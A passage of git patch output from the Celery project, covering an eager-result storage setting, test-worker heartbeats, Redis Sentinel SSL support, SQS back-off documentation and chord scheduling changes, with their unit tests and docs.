http://packages.couchbase.com/ubuntu bionic bionic/main' - sudo apt-get update && sudo apt-get install -y libcouchbase-dev -install: pip --disable-pip-version-check install --upgrade-strategy eager -U tox | cat -script: tox $CELERY_TOX_PARALLEL -v -- -v -after_success: - - | - if [[ -v MATRIX_TOXENV || "$TOXENV" =~ "pypy" ]]; then - .tox/$TOXENV/bin/coverage xml - .tox/$TOXENV/bin/codecov -e TOXENV - fi; -notifications: - email: false - irc: - channels: - - "chat.freenode.net#celery" - on_success: change - on_failure: change From e62dc67df607aefb84691d1d8cfb6a6e00ae26b7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Tomasz=20W=C3=B3jcik?= Date: Wed, 24 Feb 2021 05:40:05 +0100 Subject: [PATCH 152/415] add store_eager_result setting so eager tasks can store result on the backend (#6614) * 6476 feat(setting): add setting `store_eager_result` that allows to store eagerly executed tasks results on the backend * 6476 style(setting): fix flake8 and sphinx lint * 6476 feat(results): add support for saving failed task results on the backend * 6476 docs(results): reword new setting definition in docs, add myself to contributors * 6476 docs(results): mention `task_store_eager_result` in docs 'testing' section where it's mention why/how use eager tasks when testing * 6476 docs(results): add versionadded 5.1 in docs under task_store_eager_result --- CONTRIBUTORS.txt | 1 + celery/app/defaults.py | 1 + celery/app/task.py | 1 + celery/app/trace.py | 14 ++++- docs/userguide/configuration.rst | 17 ++++++ docs/userguide/testing.rst | 3 + t/unit/tasks/test_trace.py | 97 +++++++++++++++++++++++++++++++- 7 files changed, 131 insertions(+), 3 deletions(-) diff --git a/CONTRIBUTORS.txt b/CONTRIBUTORS.txt index 2e27e625d43..7cf4b9a60bb 100644 --- a/CONTRIBUTORS.txt +++ b/CONTRIBUTORS.txt @@ -279,3 +279,4 @@ Sardorbek Imomaliev, 2020/01/24 Maksym Shalenyi, 2020/07/30 Frazer McLean, 2020/09/29 Henrik Bruåsdal, 2020/11/29 +Tom Wojcik, 2021/01/24 diff --git a/celery/app/defaults.py b/celery/app/defaults.py index 9fec8472c96..51e1e2f96c1 100644 --- a/celery/app/defaults.py +++ b/celery/app/defaults.py @@ -255,6 +255,7 @@ def __repr__(self): False, type='bool', old={'celery_eager_propagates_exceptions'}, ), ignore_result=Option(False, type='bool'), + store_eager_result=Option(False, type='bool'), protocol=Option(2, type='int', old={'celery_task_protocol'}), publish_retry=Option( True, type='bool', old={'celery_task_publish_retry'}, diff --git a/celery/app/task.py b/celery/app/task.py index 2265ebb9e67..5634c442152 100644 --- a/celery/app/task.py +++ b/celery/app/task.py @@ -309,6 +309,7 @@ class Task: ('acks_on_failure_or_timeout', 'task_acks_on_failure_or_timeout'), ('reject_on_worker_lost', 'task_reject_on_worker_lost'), ('ignore_result', 'task_ignore_result'), + ('store_eager_result', 'task_store_eager_result'), ('store_errors_even_if_ignored', 'task_store_errors_even_if_ignored'), ) diff --git a/celery/app/trace.py b/celery/app/trace.py index e43152afc6d..b6ff79fcef5 100644 --- a/celery/app/trace.py +++ b/celery/app/trace.py @@ -159,9 +159,13 @@ def __init__(self, state, retval=None): def handle_error_state(self, task, req, eager=False, call_errbacks=True): - store_errors = not eager if task.ignore_result: store_errors = task.store_errors_even_if_ignored + elif eager and task.store_eager_result: + store_errors = True + else: + store_errors = not eager + return { RETRY: self.handle_retry, FAILURE: self.handle_failure, @@ -316,7 +320,13 @@ def build_tracer(name, task, loader=None, hostname=None, store_errors=True, ignore_result = task.ignore_result track_started = task.track_started track_started = not eager and (task.track_started and not ignore_result) - publish_result = not eager and not ignore_result + + # #6476 + if eager and not ignore_result and task.store_eager_result: + publish_result = True + else: + publish_result = not eager and not ignore_result + hostname = hostname or gethostname() inherit_parent_priority = app.conf.task_inherit_parent_priority diff --git a/docs/userguide/configuration.rst b/docs/userguide/configuration.rst index 01e8b7784e7..6e9c600b5f2 100644 --- a/docs/userguide/configuration.rst +++ b/docs/userguide/configuration.rst @@ -426,6 +426,23 @@ propagate exceptions. It's the same as always running ``apply()`` with ``throw=True``. +.. setting:: task_store_eager_result + +``task_store_eager_result`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +.. versionadded:: 5.1 + +Default: Disabled. + +If this is :const:`True` and :setting:`task_always_eager` is :const:`True` +and :setting:`task_ignore_result` is :const:`False`, +the results of eagerly executed tasks will be saved to the backend. + +By default, even with :setting:`task_always_eager` set to :const:`True` +and :setting:`task_ignore_result` set to :const:`False`, +the result will not be saved. + .. setting:: task_remote_tracebacks ``task_remote_tracebacks`` diff --git a/docs/userguide/testing.rst b/docs/userguide/testing.rst index 94389c30739..62db0a21e41 100644 --- a/docs/userguide/testing.rst +++ b/docs/userguide/testing.rst @@ -18,6 +18,9 @@ To test task behavior in unit tests the preferred method is mocking. of what happens in a worker, and there are many discrepancies between the emulation and what happens in reality. + Note that eagerly executed tasks don't write results to backend by default. + If you want to enable this functionality, have a look at :setting:`task_store_eager_result`. + A Celery task is much like a web view, in that it should only define how to perform the action in the context of being called as a task. diff --git a/t/unit/tasks/test_trace.py b/t/unit/tasks/test_trace.py index 81195439173..c7e11552976 100644 --- a/t/unit/tasks/test_trace.py +++ b/t/unit/tasks/test_trace.py @@ -1,4 +1,4 @@ -from unittest.mock import Mock, patch +from unittest.mock import ANY, Mock, patch import pytest from billiard.einfo import ExceptionInfo @@ -148,6 +148,75 @@ def add(x, y): with pytest.raises(MemoryError): self.trace(add, (2, 2), {}, eager=False) + def test_eager_task_does_not_store_result_even_if_not_ignore_result(self): + @self.app.task(shared=False) + def add(x, y): + return x + y + + add.backend = Mock(name='backend') + add.ignore_result = False + + self.trace(add, (2, 2), {}, eager=True) + + add.backend.mark_as_done.assert_called_once_with( + 'id-1', # task_id + 4, # result + ANY, # request + False # store_result + ) + + def test_eager_task_does_not_call_store_result(self): + @self.app.task(shared=False) + def add(x, y): + return x + y + + backend = BaseDictBackend(app=self.app) + backend.store_result = Mock() + add.backend = backend + add.ignore_result = False + + self.trace(add, (2, 2), {}, eager=True) + + add.backend.store_result.assert_not_called() + + def test_eager_task_will_store_result_if_proper_setting_is_set(self): + @self.app.task(shared=False) + def add(x, y): + return x + y + + add.backend = Mock(name='backend') + add.store_eager_result = True + add.ignore_result = False + + self.trace(add, (2, 2), {}, eager=True) + + add.backend.mark_as_done.assert_called_once_with( + 'id-1', # task_id + 4, # result + ANY, # request + True # store_result + ) + + def test_eager_task_with_setting_will_call_store_result(self): + @self.app.task(shared=False) + def add(x, y): + return x + y + + backend = BaseDictBackend(app=self.app) + backend.store_result = Mock() + add.backend = backend + add.store_eager_result = True + add.ignore_result = False + + self.trace(add, (2, 2), {}, eager=True) + + add.backend.store_result.assert_called_once_with( + 'id-1', + 4, + states.SUCCESS, + request=ANY + ) + def test_when_backend_raises_exception(self): @self.app.task(shared=False) def add(x, y): @@ -413,6 +482,32 @@ def test_handle_error_state(self): call_errbacks=True, ) + def test_handle_error_state_for_eager_task(self): + x = self.TI(states.FAILURE) + x.handle_failure = Mock() + + x.handle_error_state(self.add, self.add.request, eager=True) + x.handle_failure.assert_called_once_with( + self.add, + self.add.request, + store_errors=False, + call_errbacks=True, + ) + + def test_handle_error_for_eager_saved_to_backend(self): + x = self.TI(states.FAILURE) + x.handle_failure = Mock() + + self.add.store_eager_result = True + + x.handle_error_state(self.add, self.add.request, eager=True) + x.handle_failure.assert_called_with( + self.add, + self.add.request, + store_errors=True, + call_errbacks=True, + ) + @patch('celery.app.trace.ExceptionInfo') def test_handle_reject(self, ExceptionInfo): x = self.TI(states.FAILURE) From ad3ec276e0ce5b18ccc545400c5ea1b04522cb72 Mon Sep 17 00:00:00 2001 From: Dani Hodovic Date: Wed, 24 Feb 2021 07:18:22 +0200 Subject: [PATCH 153/415] Allow heartbeats to be sent in tests (#6632) * Allow heartbeats to be sent in tests I'm writing a Prometheus exporter at https://github.com/danihodovic/celery-exporter. In order to test the worker events: worker-heartbeat, worker-online, worker-offline I need to be able to enable heartbeats for the testing worker. * Add docs on heartbeats in tests --- celery/contrib/testing/worker.py | 2 +- docs/userguide/testing.rst | 14 ++++++++++++++ 2 files changed, 15 insertions(+), 1 deletion(-) diff --git a/celery/contrib/testing/worker.py b/celery/contrib/testing/worker.py index 16d2582897d..09fecc0a7a2 100644 --- a/celery/contrib/testing/worker.py +++ b/celery/contrib/testing/worker.py @@ -119,7 +119,7 @@ def _start_worker_thread(app, logfile=logfile, # not allowed to override TestWorkController.on_consumer_ready ready_callback=None, - without_heartbeat=True, + without_heartbeat=kwargs.pop("without_heartbeat", True), without_mingle=True, without_gossip=True, **kwargs) diff --git a/docs/userguide/testing.rst b/docs/userguide/testing.rst index 62db0a21e41..3f2f15ba680 100644 --- a/docs/userguide/testing.rst +++ b/docs/userguide/testing.rst @@ -197,6 +197,20 @@ Example: def test_other(celery_worker): ... +Heartbeats are disabled by default which means that the test worker doesn't +send events for ``worker-online``, ``worker-offline`` and ``worker-heartbeat``. +To enable heartbeats modify the :func:`celery_worker_parameters` fixture: + +.. code-block:: python + + # Put this in your conftest.py + @pytest.fixture(scope="session") + def celery_worker_parameters(): + return {"without_heartbeat": False} + ... + + + Session scope ^^^^^^^^^^^^^ From f1d387b1fa1575f9eb17fa5ce5e17234c2d9a70c Mon Sep 17 00:00:00 2001 From: Gabriel Augendre Date: Tue, 17 Nov 2020 09:41:00 +0100 Subject: [PATCH 154/415] Add a classifier indicating support for python 3.9 Since https://github.com/celery/celery/pull/6418, the tests seem to pass on Python 3.9. Let's make this official! --- setup.py | 1 + 1 file changed, 1 insertion(+) diff --git a/setup.py b/setup.py index 35f2dd6b084..d4e27c1226e 100644 --- a/setup.py +++ b/setup.py @@ -192,6 +192,7 @@ def run_tests(self): "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", + "Programming Language :: Python :: 3.9", "Programming Language :: Python :: Implementation :: CPython", "Programming Language :: Python :: Implementation :: PyPy", "Operating System :: OS Independent" From 7f48a6dd2a79dffa247892ef8c593ff7d24b22d3 Mon Sep 17 00:00:00 2001 From: AbdealiJK Date: Wed, 24 Feb 2021 19:57:42 +0530 Subject: [PATCH 155/415] test_canvas: Add test for chain-in-chain (#6201) Add test case for the issue where a chain in a chain does not work when using .apply(). This works fine with .apply_async(). The inner chain should have only 1 item. --- t/integration/test_canvas.py | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/t/integration/test_canvas.py b/t/integration/test_canvas.py index fe594807ee5..2c96aa95b44 100644 --- a/t/integration/test_canvas.py +++ b/t/integration/test_canvas.py @@ -1158,6 +1158,25 @@ def test_chord_in_chain_with_args(self, manager): res1 = c1.apply(args=(1,)) assert res1.get(timeout=TIMEOUT) == [1, 1] + @pytest.mark.xfail(reason="Issue #6200") + def test_chain_in_chain_with_args(self): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + c1 = chain( # NOTE: This chain should have only 1 chain inside it + chain( + identity.s(), + identity.s(), + ), + ) + + res1 = c1.apply_async(args=(1,)) + assert res1.get(timeout=TIMEOUT) == 1 + res1 = c1.apply(args=(1,)) + assert res1.get(timeout=TIMEOUT) == 1 + @flaky def test_large_header(self, manager): try: From c86930dc5bfd4d2542724888dbf1eef5c96aaa5d Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 24 Feb 2021 19:50:34 +0200 Subject: [PATCH 156/415] Configure the open collective bot. --- .github/opencollective.yml | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 .github/opencollective.yml diff --git a/.github/opencollective.yml b/.github/opencollective.yml new file mode 100644 index 00000000000..be703c8b871 --- /dev/null +++ b/.github/opencollective.yml @@ -0,0 +1,18 @@ +collective: celery +tiers: + - tiers: '*' + labels: ['Backer ❤️'] + message: 'Hey . Thank you for supporting the project!:heart:' + - tiers: ['Basic Sponsor', 'Sponsor', 'Silver Sponsor', 'Gold Sponsor'] + labels: ['Sponsor ❤️'] + message: | + Thank you for sponsoring the project!:heart::heart::heart: + Resolving this issue is one of our top priorities. + One of @celery/core-developers will triage it shortly. +invitation: | + Hey :wave:, + Thank you for opening an issue. We will get back to you as soon as we can. + Also, check out our [Open Collective]() and consider backing us - every little helps! + + We also offer priority support for our sponsors. + If you require immediate assistance please consider sponsoring us. From 34c469758f39a4d2ba693d63952df95525666826 Mon Sep 17 00:00:00 2001 From: Anatoliy Date: Thu, 25 Feb 2021 16:49:59 +0300 Subject: [PATCH 157/415] New celery beat run command for supervisor (#6645) * Update extra/supervisord/celeryd.conf line 18 Adding compatibility with celery 5.0.6 which have different worker 'run' command * Changes celery beat run command in supervisor's celerybeat.conf file Due to new celery 5.0.5 syntax --- extra/supervisord/celerybeat.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/extra/supervisord/celerybeat.conf b/extra/supervisord/celerybeat.conf index c920b30dfda..8710c31ac1f 100644 --- a/extra/supervisord/celerybeat.conf +++ b/extra/supervisord/celerybeat.conf @@ -4,7 +4,7 @@ [program:celerybeat] ; Set full path to celery program if using virtualenv -command=celery beat -A myapp --schedule /var/lib/celery/beat.db --loglevel=INFO +command=celery -A myapp beat --schedule /var/lib/celery/beat.db --loglevel=INFO ; remove the -A myapp argument if you aren't using an app instance From 50ae4331cec1e2d61f536b406b0ebfefe7f1a495 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Sun, 28 Feb 2021 11:14:40 +0200 Subject: [PATCH 158/415] Revert "Revert "redis: Support Sentinel with SSL" (#6518)" (#6647) This reverts commit 0fa4db8889325fd774f7e89ebb219a87fc1d8cfb. --- celery/backends/redis.py | 20 ++++++++++++++++++-- t/unit/backends/test_redis.py | 31 +++++++++++++++++++++++++++++++ 2 files changed, 49 insertions(+), 2 deletions(-) diff --git a/celery/backends/redis.py b/celery/backends/redis.py index 3ffdf70aa3d..fca058ee584 100644 --- a/celery/backends/redis.py +++ b/celery/backends/redis.py @@ -186,6 +186,7 @@ class RedisBackend(BaseKeyValueStoreBackend, AsyncBackendMixin): #: :pypi:`redis` client module. redis = redis + connection_class_ssl = redis.SSLConnection if redis else None #: Maximum number of connections in the pool. max_connections = None @@ -241,7 +242,7 @@ def __init__(self, host=None, port=None, db=None, password=None, ssl = _get('redis_backend_use_ssl') if ssl: self.connparams.update(ssl) - self.connparams['connection_class'] = redis.SSLConnection + self.connparams['connection_class'] = self.connection_class_ssl if url: self.connparams = self._params_from_url(url, self.connparams) @@ -250,7 +251,7 @@ def __init__(self, host=None, port=None, db=None, password=None, # redis_backend_use_ssl dict, check ssl_cert_reqs is valid. If set # via query string ssl_cert_reqs will be a string so convert it here if ('connection_class' in self.connparams and - self.connparams['connection_class'] is redis.SSLConnection): + issubclass(self.connparams['connection_class'], redis.SSLConnection)): ssl_cert_reqs_missing = 'MISSING' ssl_string_to_constant = {'CERT_REQUIRED': CERT_REQUIRED, 'CERT_OPTIONAL': CERT_OPTIONAL, @@ -546,10 +547,25 @@ def __reduce__(self, args=(), kwargs=None): ) +if getattr(redis, "sentinel", None): + class SentinelManagedSSLConnection( + redis.sentinel.SentinelManagedConnection, + redis.SSLConnection): + """Connect to a Redis server using Sentinel + TLS. + + Use Sentinel to identify which Redis server is the current master + to connect to and when connecting to the Master server, use an + SSL Connection. + """ + + pass + + class SentinelBackend(RedisBackend): """Redis sentinel task result store.""" sentinel = getattr(redis, "sentinel", None) + connection_class_ssl = SentinelManagedSSLConnection if sentinel else None def __init__(self, *args, **kwargs): if self.sentinel is None: diff --git a/t/unit/backends/test_redis.py b/t/unit/backends/test_redis.py index 75d917b5cef..fb236426f06 100644 --- a/t/unit/backends/test_redis.py +++ b/t/unit/backends/test_redis.py @@ -1146,3 +1146,34 @@ def test_get_pool(self): ) pool = x._get_pool(**x.connparams) assert pool + + def test_backend_ssl(self): + pytest.importorskip('redis') + + from celery.backends.redis import SentinelBackend + self.app.conf.redis_backend_use_ssl = { + 'ssl_cert_reqs': "CERT_REQUIRED", + 'ssl_ca_certs': '/path/to/ca.crt', + 'ssl_certfile': '/path/to/client.crt', + 'ssl_keyfile': '/path/to/client.key', + } + self.app.conf.redis_socket_timeout = 30.0 + self.app.conf.redis_socket_connect_timeout = 100.0 + x = SentinelBackend( + 'sentinel://:bosco@vandelay.com:123//1', app=self.app, + ) + assert x.connparams + assert len(x.connparams['hosts']) == 1 + assert x.connparams['hosts'][0]['host'] == 'vandelay.com' + assert x.connparams['hosts'][0]['db'] == 1 + assert x.connparams['hosts'][0]['port'] == 123 + assert x.connparams['hosts'][0]['password'] == 'bosco' + assert x.connparams['socket_timeout'] == 30.0 + assert x.connparams['socket_connect_timeout'] == 100.0 + assert x.connparams['ssl_cert_reqs'] == ssl.CERT_REQUIRED + assert x.connparams['ssl_ca_certs'] == '/path/to/ca.crt' + assert x.connparams['ssl_certfile'] == '/path/to/client.crt' + assert x.connparams['ssl_keyfile'] == '/path/to/client.key' + + from celery.backends.redis import SentinelManagedSSLConnection + assert x.connparams['connection_class'] is SentinelManagedSSLConnection From 5baf972fb6e74f5e831c0bc435f3e02965563779 Mon Sep 17 00:00:00 2001 From: Noam Date: Mon, 1 Mar 2021 15:06:00 +0200 Subject: [PATCH 159/415] Fixed default visibility timeout note in sqs documentation. --- docs/getting-started/backends-and-brokers/sqs.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/getting-started/backends-and-brokers/sqs.rst b/docs/getting-started/backends-and-brokers/sqs.rst index 2e41ce4ef9e..74d2f149f54 100644 --- a/docs/getting-started/backends-and-brokers/sqs.rst +++ b/docs/getting-started/backends-and-brokers/sqs.rst @@ -82,7 +82,7 @@ This option is set via the :setting:`broker_transport_options` setting:: broker_transport_options = {'visibility_timeout': 3600} # 1 hour. -The default visibility timeout is 30 seconds. +The default visibility timeout is 30 minutes. Polling Interval ---------------- From ade944e218e3fd455e96b8d62766f1ed70143d97 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vincent=20Sch=C3=A4nzer?= Date: Tue, 2 Mar 2021 09:16:48 +0100 Subject: [PATCH 160/415] Add note for max_retries default in documentation The documentation lacks the mention of the default value for Task.max_retries. Since the last sentence talks about the behavior with a None value, it can be mistakenly assumed that this is the default value. --- docs/userguide/tasks.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/userguide/tasks.rst b/docs/userguide/tasks.rst index 935f15f92c2..e41da045ea7 100644 --- a/docs/userguide/tasks.rst +++ b/docs/userguide/tasks.rst @@ -825,7 +825,7 @@ You can also set `autoretry_for`, `max_retries`, `retry_backoff`, `retry_backoff .. attribute:: Task.max_retries A number. Maximum number of retries before giving up. A value of ``None`` - means task will retry forever. + means task will retry forever. By default, this option is set to ``3``. .. attribute:: Task.retry_backoff From 7451f60291c6ec4f78129b4ed181d42a7baee1a6 Mon Sep 17 00:00:00 2001 From: Swen Kooij Date: Sat, 27 Feb 2021 08:35:59 +0200 Subject: [PATCH 161/415] Simulate more exhaustive delivery info in apply() When calling tasks directly, all options such as priority, exchange and routing_key are accepted, but ignored. All though these options take no effect when calling tasks eagerly, it is useful to keep the data around. An application might take action based on the priority, exchange or the routing key. It is especially useful when writing unit tests. This allows tasks to be run eagerly, yet test that the application behaves correctly when these options are passed. --- celery/app/task.py | 7 ++++++- t/unit/tasks/test_tasks.py | 20 ++++++++++++++++++++ 2 files changed, 26 insertions(+), 1 deletion(-) diff --git a/celery/app/task.py b/celery/app/task.py index 5634c442152..1d4c974cb22 100644 --- a/celery/app/task.py +++ b/celery/app/task.py @@ -764,7 +764,12 @@ def apply(self, args=None, kwargs=None, 'callbacks': maybe_list(link), 'errbacks': maybe_list(link_error), 'headers': headers, - 'delivery_info': {'is_eager': True}, + 'delivery_info': { + 'is_eager': True, + 'exchange': options.get('exchange'), + 'routing_key': options.get('routing_key'), + 'priority': options.get('priority'), + }, } tb = None tracer = build_tracer( diff --git a/t/unit/tasks/test_tasks.py b/t/unit/tasks/test_tasks.py index 8e1c05a5796..900d7decdbc 100644 --- a/t/unit/tasks/test_tasks.py +++ b/t/unit/tasks/test_tasks.py @@ -1282,6 +1282,26 @@ def test_apply(self): with pytest.raises(KeyError): f.get() + def test_apply_simulates_delivery_info(self): + self.task_check_request_context.request_stack.push = Mock() + + self.task_check_request_context.apply( + priority=4, + routing_key='myroutingkey', + exchange='myexchange', + ) + + self.task_check_request_context.request_stack.push.assert_called_once() + + request = self.task_check_request_context.request_stack.push.call_args[0][0] + + assert request.delivery_info == { + 'is_eager': True, + 'exchange': 'myexchange', + 'routing_key': 'myroutingkey', + 'priority': 4, + } + class test_apply_async(TasksCase): def common_send_task_arguments(self): From e913312291ff9403b0cd32448cb930829c62cf15 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 2 Mar 2021 10:42:38 +0200 Subject: [PATCH 162/415] Only run tests when any Python file has changed. (#6650) --- .github/workflows/python-package.yml | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml index f6558ba8334..af1ffb27f4f 100644 --- a/.github/workflows/python-package.yml +++ b/.github/workflows/python-package.yml @@ -6,8 +6,12 @@ name: Celery on: push: branches: [ master ] + paths: + - '**.py' pull_request: branches: [ master ] + paths: + - '**.py' jobs: build: From 0c4fa09c6215b5fbb2ad609758926f2cd4e7db82 Mon Sep 17 00:00:00 2001 From: gal cohen Date: Tue, 2 Mar 2021 12:24:59 +0200 Subject: [PATCH 163/415] SQS broker back-off policy - documentation only (#6648) * celery sqs retry policy * add proper doc * spacing * docs * rename policy * improve docstring * add doc * docs update Co-authored-by: galcohen --- .../backends-and-brokers/sqs.rst | 40 +++++++++++++++++++ 1 file changed, 40 insertions(+) diff --git a/docs/getting-started/backends-and-brokers/sqs.rst b/docs/getting-started/backends-and-brokers/sqs.rst index 74d2f149f54..90be6a998b8 100644 --- a/docs/getting-started/backends-and-brokers/sqs.rst +++ b/docs/getting-started/backends-and-brokers/sqs.rst @@ -150,6 +150,46 @@ setting:: } } +Back-off policy +------------------------ +Back-off policy is using SQS visibility timeout mechanism altering the time difference between task retries. +The number of retries is managed by SQS (specifically by the ``ApproximateReceiveCount`` message attribute) and no further action is required by the user. + +Configuring the queues and backoff policy:: + + broker_transport_options = { + 'predefined_queues': { + 'my-q': { + 'url': 'https://ap-southeast-2.queue.amazonaws.com/123456/my-q', + 'access_key_id': 'xxx', + 'secret_access_key': 'xxx', + 'backoff_policy': {1: 10, 2: 20, 3: 40, 4: 80, 5: 320, 6: 640}, + 'backoff_tasks': ['svc.tasks.tasks.task1'] + } + } + } + + +``backoff_policy`` dictionary where key is number of retries, and value is delay seconds between retries (i.e +SQS visibility timeout) +``backoff_tasks`` list of task names to apply the above policy + +The above policy: + ++-----------------------------------------+--------------------------------------------+ +| **Attempt** | **Delay** | ++-----------------------------------------+--------------------------------------------+ +| ``2nd attempt`` | 20 seconds | ++-----------------------------------------+--------------------------------------------+ +| ``3rd attempt`` | 40 seconds | ++-----------------------------------------+--------------------------------------------+ +| ``4th attempt`` | 80 seconds | ++-----------------------------------------+--------------------------------------------+ +| ``5th attempt`` | 320 seconds | ++-----------------------------------------+--------------------------------------------+ +| ``6th attempt`` | 640 seconds | ++-----------------------------------------+--------------------------------------------+ + .. _sqs-caveats: From cfa1b418cca81af069599a9a56c340e8a27ff2fc Mon Sep 17 00:00:00 2001 From: galcohen Date: Tue, 2 Mar 2021 15:39:57 +0200 Subject: [PATCH 164/415] improve docs --- docs/getting-started/backends-and-brokers/sqs.rst | 1 + 1 file changed, 1 insertion(+) diff --git a/docs/getting-started/backends-and-brokers/sqs.rst b/docs/getting-started/backends-and-brokers/sqs.rst index 90be6a998b8..47ec6d8f864 100644 --- a/docs/getting-started/backends-and-brokers/sqs.rst +++ b/docs/getting-started/backends-and-brokers/sqs.rst @@ -153,6 +153,7 @@ setting:: Back-off policy ------------------------ Back-off policy is using SQS visibility timeout mechanism altering the time difference between task retries. +The mechanism changes message specific ``visibility timeout`` from queue ``Default visibility timeout`` to policy configured timeout. The number of retries is managed by SQS (specifically by the ``ApproximateReceiveCount`` message attribute) and no further action is required by the user. Configuring the queues and backoff policy:: From 2b7a8fa943f6cd7c044d69ab194bbdc12f8bc745 Mon Sep 17 00:00:00 2001 From: Guillaume DE SUSANNE D'EPINAY Date: Wed, 3 Mar 2021 18:26:36 +0100 Subject: [PATCH 165/415] fix: configuration variables names --- docs/userguide/configuration.rst | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/docs/userguide/configuration.rst b/docs/userguide/configuration.rst index 6e9c600b5f2..cf85255ec54 100644 --- a/docs/userguide/configuration.rst +++ b/docs/userguide/configuration.rst @@ -146,8 +146,9 @@ have been moved into a new ``task_`` prefix. ``CELERY_SEND_SENT_EVENT`` :setting:`task_send_sent_event` ``CELERY_SERIALIZER`` :setting:`task_serializer` ``CELERYD_SOFT_TIME_LIMIT`` :setting:`task_soft_time_limit` +``CELERY_TASK_TRACK_STARTED`` :setting:`task_track_started` +``CELERY_TASK_REJECT_ON_WORKER_LOST`` :setting:`task_reject_on_worker_lost` ``CELERYD_TIME_LIMIT`` :setting:`task_time_limit` -``CELERY_TRACK_STARTED`` :setting:`task_track_started` ``CELERYD_AGENT`` :setting:`worker_agent` ``CELERYD_AUTOSCALER`` :setting:`worker_autoscaler` ``CELERYD_CONCURRENCY`` :setting:`worker_concurrency` From 6734024e59a60ef2814eabed63365829a3270cc2 Mon Sep 17 00:00:00 2001 From: Matt Hoffman Date: Thu, 4 Mar 2021 08:22:31 -0500 Subject: [PATCH 166/415] start chord header tasks as soon as possible (#6576) * start chord header tasks as soon as possible Fixes #3012. Previously, subtasks were not submitted to the broker for execution until the entire generator was consumed. * Update celery/canvas.py as per review Co-authored-by: Omer Katz * keeps chord_length terminology consistent * refactors unit test * Update celery/canvas.py Co-authored-by: Omer Katz * Update celery/canvas.py Co-authored-by: Omer Katz * Fix formatting. * adds comments and fixes test Co-authored-by: Asif Saif Uddin Co-authored-by: Omer Katz --- celery/backends/base.py | 9 +- celery/backends/cache.py | 6 +- celery/backends/redis.py | 145 +++++++++++++++++--------------- celery/canvas.py | 119 +++++++++++++++----------- celery/utils/functional.py | 15 +++- t/integration/tasks.py | 8 ++ t/integration/test_canvas.py | 20 ++++- t/unit/backends/test_base.py | 18 ++-- t/unit/backends/test_cache.py | 12 +-- t/unit/backends/test_redis.py | 98 ++++++++++----------- t/unit/tasks/test_canvas.py | 11 +++ t/unit/tasks/test_chord.py | 10 +++ t/unit/utils/test_functional.py | 12 +-- 13 files changed, 292 insertions(+), 191 deletions(-) diff --git a/celery/backends/base.py b/celery/backends/base.py index b18f40887e2..7c5dcfa357c 100644 --- a/celery/backends/base.py +++ b/celery/backends/base.py @@ -590,6 +590,9 @@ def add_to_chord(self, chord_id, result): def on_chord_part_return(self, request, state, result, **kwargs): pass + def set_chord_size(self, group_id, chord_size): + pass + def fallback_chord_unlock(self, header_result, body, countdown=1, **kwargs): kwargs['result'] = [r.as_tuple() for r in header_result] @@ -605,8 +608,9 @@ def fallback_chord_unlock(self, header_result, body, countdown=1, def ensure_chords_allowed(self): pass - def apply_chord(self, header_result, body, **kwargs): + def apply_chord(self, header_result_args, body, **kwargs): self.ensure_chords_allowed() + header_result = self.app.GroupResult(*header_result_args) self.fallback_chord_unlock(header_result, body, **kwargs) def current_task_children(self, request=None): @@ -887,8 +891,9 @@ def _restore_group(self, group_id): meta['result'] = result_from_tuple(result, self.app) return meta - def _apply_chord_incr(self, header_result, body, **kwargs): + def _apply_chord_incr(self, header_result_args, body, **kwargs): self.ensure_chords_allowed() + header_result = self.app.GroupResult(*header_result_args) header_result.save(backend=self) def on_chord_part_return(self, request, state, result, **kwargs): diff --git a/celery/backends/cache.py b/celery/backends/cache.py index e340f31b7f6..f3d13d95304 100644 --- a/celery/backends/cache.py +++ b/celery/backends/cache.py @@ -128,11 +128,11 @@ def set(self, key, value): def delete(self, key): return self.client.delete(key) - def _apply_chord_incr(self, header_result, body, **kwargs): - chord_key = self.get_key_for_chord(header_result.id) + def _apply_chord_incr(self, header_result_args, body, **kwargs): + chord_key = self.get_key_for_chord(header_result_args[0]) self.client.set(chord_key, 0, time=self.expires) return super()._apply_chord_incr( - header_result, body, **kwargs) + header_result_args, body, **kwargs) def incr(self, key): return self.client.incr(key) diff --git a/celery/backends/redis.py b/celery/backends/redis.py index fca058ee584..d684c196fd7 100644 --- a/celery/backends/redis.py +++ b/celery/backends/redis.py @@ -15,7 +15,7 @@ from celery.exceptions import (BackendStoreError, ChordError, ImproperlyConfigured) from celery.result import GroupResult, allow_join_result -from celery.utils.functional import dictfilter +from celery.utils.functional import _regen, dictfilter from celery.utils.log import get_logger from celery.utils.time import humanize_seconds @@ -370,7 +370,7 @@ def on_connection_error(self, max_retries, exc, intervals, retries): return tts def set(self, key, value, **retry_policy): - if len(value) > self._MAX_STR_VALUE_SIZE: + if isinstance(value, str) and len(value) > self._MAX_STR_VALUE_SIZE: raise BackendStoreError('value too large for Redis backend') return self.ensure(self._set, (key, value), **retry_policy) @@ -410,15 +410,20 @@ def _unpack_chord_result(self, tup, decode, raise ChordError(f'Dependency {tid} raised {retval!r}') return retval - def apply_chord(self, header_result, body, **kwargs): + def set_chord_size(self, group_id, chord_size): + self.set(self.get_key_for_group(group_id, '.s'), chord_size) + + def apply_chord(self, header_result_args, body, **kwargs): # If any of the child results of this chord are complex (ie. group # results themselves), we need to save `header_result` to ensure that # the expected structure is retained when we finish the chord and pass # the results onward to the body in `on_chord_part_return()`. We don't # do this is all cases to retain an optimisation in the common case # where a chord header is comprised of simple result objects. - if any(isinstance(nr, GroupResult) for nr in header_result.results): - header_result.save(backend=self) + if not isinstance(header_result_args[1], _regen): + header_result = 